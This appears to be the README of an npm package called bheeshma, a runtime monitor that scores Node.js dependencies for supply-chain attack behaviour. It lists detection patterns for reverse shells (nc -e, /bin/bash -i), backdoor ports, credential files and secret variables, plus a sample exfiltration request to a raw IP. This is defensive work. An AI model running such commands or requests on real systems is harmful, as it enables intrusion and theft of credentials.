Runtime dependency behavior monitor for Node.js - detects supply-chain attacks with behavioral analysis, pattern detection, and HTTP monitoring
npm install bheeshmabash
npm install -g bheeshma
`
Or use directly with npx:
`bash
npx bheeshma -- node your-app.js
`
---
Usage
$3
Monitor any Node.js application:
`bash
bheeshma -- node app.js
`
Specify output format and file:
`bash
bheeshma --format json --output report.json -- node app.js
`
Run with npm scripts:
`bash
bheeshma -- npm test
`
$3
#### Basic Usage
`javascript
const bheeshma = require('bheeshma');
// Initialize monitoring with default settings
bheeshma.init();
// Your application code runs here...
require('./your-app');
// Generate report
const report = bheeshma.generateReport('cli');
console.log(report);
// Or get structured data
const scores = bheeshma.getTrustScores();
const signals = bheeshma.getSignals();
`
#### Advanced Configuration
`javascript
// Initialize with custom configuration
bheeshma.init({
config: {
hooks: {
http: true, // Enable HTTP monitoring
fs: true, // Enable file system monitoring
net: true,
env: true,
childProcess: true
},
riskWeights: {
SHELL_EXEC: 25, // Custom risk weight
HTTP_REQUEST: 10
},
patterns: {
enabled: true,
detectCryptoMiners: true,
detectDataExfiltration: true,
detectBackdoors: true
},
whitelist: ["express@*"] // Trusted packages
}
});
`
#### Using Configuration Files
Create .bheeshmarc.json in your project root:
`json
{
"hooks": {
"http": true,
"fs": true
},
"riskWeights": {
"SHELL_EXEC": 25
},
"patterns": {
"enabled": true
},
"whitelist": ["express@*"]
}
`
Then simply:
`javascript
bheeshma.init(); // Auto-loads .bheeshmarc.json
`
#### Pattern Detection
`javascript
const bheeshma = require('bheeshma');
const { analyzePatterns } = require('bheeshma/src/patterns/patternMatcher');
bheeshma.init({ config: { patterns: { enabled: true } } });
// Run your app
require('./your-app');
// Analyze for malicious patterns
const signals = bheeshma.getSignals();
const threats = analyzePatterns(signals, {
enabled: true,
detectCryptoMiners: true,
detectDataExfiltration: true,
detectBackdoors: true
});
console.log(Detected ${threats.summary.totalThreats} threats);
console.log(Highest severity: ${threats.summary.highestSeverity});
`
#### Convenience Wrapper
`javascript
const bheeshma = require('bheeshma');
bheeshma.monitor(() => {
// Your application code
require('./your-app');
}, { format: 'json' })
.then(({ result, report }) => {
console.log(report);
});
`
---
Example Output
$3
`
======================================================================
BHEESHMA Runtime Dependency Behavior Report
======================================================================
Summary:
Total Packages Monitored: 3
Total Signals Captured: 12
Risk Distribution:
HIGH: 1
MEDIUM: 1
LOW: 1
š¦ suspicious-package@1.0.0
Trust Score: 35/100 [HIGH]
Observed Behaviors:
š ENV ACCESS: 5 occurrences
š FS WRITE: 2 occurrences
š NET CONNECT: 1 occurrence
ā” SHELL EXEC: 1 occurrence
š¦ normal-package@2.1.0
Trust Score: 85/100 [LOW]
Observed Behaviors:
š FS READ: 1 occurrence
`
$3
`json
{
"version": "1.0",
"timestamp": "2026-01-18T07:30:00.000Z",
"summary": {
"totalPackages": 2,
"totalSignals": 9,
"riskDistribution": {
"critical": 0,
"high": 1,
"medium": 0,
"low": 1
}
},
"packages": [
{
"name": "suspicious-package",
"version": "1.0.0",
"trustScore": 35,
"riskLevel": "HIGH",
"signalCount": 9,
"behaviors": {
"ENV_ACCESS": 5,
"FS_READ": 0,
"FS_WRITE": 2,
"SHELL_EXEC": 1,
"NET_CONNECT": 1
}
}
],
"signals": [ / ... / ]
}
`
---
Security Guarantees
BHEESHMA is built with security-first engineering principles:
$3
- ā
Zero telemetry - No outbound communication
- ā
Local-only - All processing happens on your machine
- ā
No cloud services - No external dependencies
- ā
No persistent storage - Data exists only in memory during runtime
$3
- ā
Non-invasive hooks - Observes behavior without modifying it
- ā
Fail-safe - Hook errors never break your application
- ā
Reversible - Hooks can be cleanly uninstalled
- ā
Idempotent - Safe to initialize multiple times
$3
- ā
Metadata only - Captures operation types and paths, never content
- ā
No secret capture - Environment variable names only, never values
- ā
Sanitized commands - Shell commands are redacted for common secrets
- ā
Sanitized headers - HTTP headers are logged as [PRESENT] or [REDACTED], never full values
- ā
No body inspection - Network payloads are never captured
---
Advanced Features
$3
BHEESHMA includes signature-based detection for common supply chain attack patterns:
#### Cryptocurrency Miners
- Detects known miner processes (xmrig, ethminer, cpuminer)
- Identifies mining pool connections
- Flags mining-related environment variables
#### Data Exfiltration
- Monitors access to sensitive files (.npmrc, .env, .aws/credentials, SSH keys)
- Detects connections to paste services (pastebin, webhook.site)
- Correlation analysis: Flags packages that read sensitive files AND make HTTP requests
#### Backdoors
- Identifies reverse shell patterns (nc -e, /bin/bash -i)
- Detects suspicious listening ports (1337, 4444, 31337)
- Flags remote access tools (ngrok, localtunnel)
#### Credential Theft
- Monitors access to secret environment variables (AWS_ACCESS_KEY_ID, NPM_TOKEN)
- Tracks reads of credential files
$3
BHEESHMA intercepts all HTTP/HTTPS requests to detect:
- ā
Direct IP address requests (bypassing DNS)
- ā
Suspicious TLDs (.tk, .ml, .ga, .cf, .gq)
- ā
Non-standard ports
- ā
Pastebin-like services
Example:
`javascript
// Malicious package makes request
http.request('http://192.168.1.100:8080/exfil');
// BHEESHMA detects:
// - HTTP_REQUEST signal
// - isIpAddress: true
// - indicators: ["Direct IP request", "Non-standard port: 8080"]
`
$3
Customize BHEESHMA behavior without modifying code:
Auto-discovery: Place .bheeshmarc.json in your project root
Validation: All config is validated to prevent malicious configurations
Flexible: Enable/disable hooks, customize risk weights, whitelist packages
Full Configuration Example:
`json
{
"hooks": {
"env": true,
"fs": true,
"net": true,
"childProcess": true,
"http": true
},
"riskWeights": {
"SHELL_EXEC": 20,
"FS_WRITE": 10,
"HTTP_REQUEST": 10,
"HTTPS_REQUEST": 8,
"NET_CONNECT": 8,
"ENV_ACCESS": 5,
"FS_READ": 3
},
"thresholds": {
"critical": 30,
"high": 60,
"medium": 80
},
"whitelist": [
"express@*",
"@types/*"
],
"blacklist": [],
"patterns": {
"enabled": true,
"detectCryptoMiners": true,
"detectDataExfiltration": true,
"detectBackdoors": true,
"detectObfuscation": true
},
"performance": {
"track": false,
"maxSignals": 10000
},
"output": {
"formats": ["cli"],
"verbosity": "normal",
"includeStackTraces": true
}
}
`
---
Architecture
BHEESHMA follows a layered security architecture:
`
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā CLI / Programmatic API ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā Output Formatters ā
ā (CLI, JSON, CI/CD-ready) ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā Trust Scoring Engine ā
ā (Deterministic, Transparent) ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā Signal Normalization Layer ā
ā (Immutable, Type-Safe) ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā Attribution Engine ā
ā (Stack Trace ā Package Mapping) ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā Runtime Hooks ā
ā (env, fs, net, http, https, child_process) ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā Pattern Detection Engine ā
ā (Crypto Miners, Data Exfiltration, ā
ā Backdoors, Credential Theft) ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā Configuration System ā
ā (.bheeshmarc.json loader) ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
`
$3
All code adheres to:
- OWASP Secure Coding Practices - Least privilege, fail-safe defaults
- CERT/SEI Secure Coding - Defensive programming, predictable errors
- Node.js Security Best Practices - Safe monkey-patching, no global pollution
---
Development: Vibe Coding Meets Discipline
This project was built using "vibe coding" - AI-assisted rapid development - but with uncompromising engineering discipline:
| Approach | Benefit |
|----------|---------|
| AI-assisted generation | 10x faster prototyping and iteration |
| Security-first prompts | Every component explicitly follows OWASP/CERT principles |
| Audit-ready comments | Self-documenting code with security rationale |
| Deterministic design | No ML, no non-determinism, full transparency |
The result: Production-grade security tooling delivered with startup velocity.
This demonstrates that AI-assisted development can produce audit-ready, security-grade open source when guided by strong engineering discipline.
---
Testing
BHEESHMA includes an offline, deterministic test harness:
`bash
npm test
`
Tests validate:
- ā
Hook installation and teardown
- ā
Benign dependency detection (high trust score)
- ā
Suspicious dependency detection (low trust score)
- ā
Signal capture for all behavior types
- ā
Output format validity (CLI and JSON)
All tests run without network access and produce deterministic results.
---
Limitations
BHEESHMA is not:
- ā A CVE scanner (use npm audit or Snyk)
- ā A static analysis tool (use ESLint security plugins)
- ā A silver bullet (defense-in-depth requires multiple layers)
BHEESHMA cannot detect:
- Runtime behaviors before hooks are installed (install early!)
- Native/C++ addons (Node.js internals only)
- Behaviors in worker threads (future work)
- Time bombs/delayed execution that occurs after monitoring stops
Best Practice: Use BHEESHMA as part of a layered security strategy alongside SCA, SAST, and dependency pinning.
---
Roadmap
Completed:
- [x] Configuration system with validation
- [x] HTTP/HTTPS request monitoring
- [x] Advanced pattern detection (crypto miners, backdoors, data exfiltration)
- [x] Malware signature database
Future enhancements:
- [ ] HTML report generation
- [ ] Whitelist/blacklist enforcement
- [ ] ESM (ES Modules) full support
- [ ] Worker thread monitoring
- [ ] DNS query monitoring
- [ ] Crypto operation monitoring
- [ ] Policy enforcement mode (block high-risk packages)
- [ ] Real-time alerts (webhooks, Slack)
- [ ] Integration with popular CI/CD platforms
---
Contributing
Contributions welcome! This project aims to be:
- Audit-ready: Every PR should maintain security-first coding standards
- Well-documented: Code comments explain security rationale
- Test-covered: New features need offline tests
See CONTRIBUTING.md` for guidelines.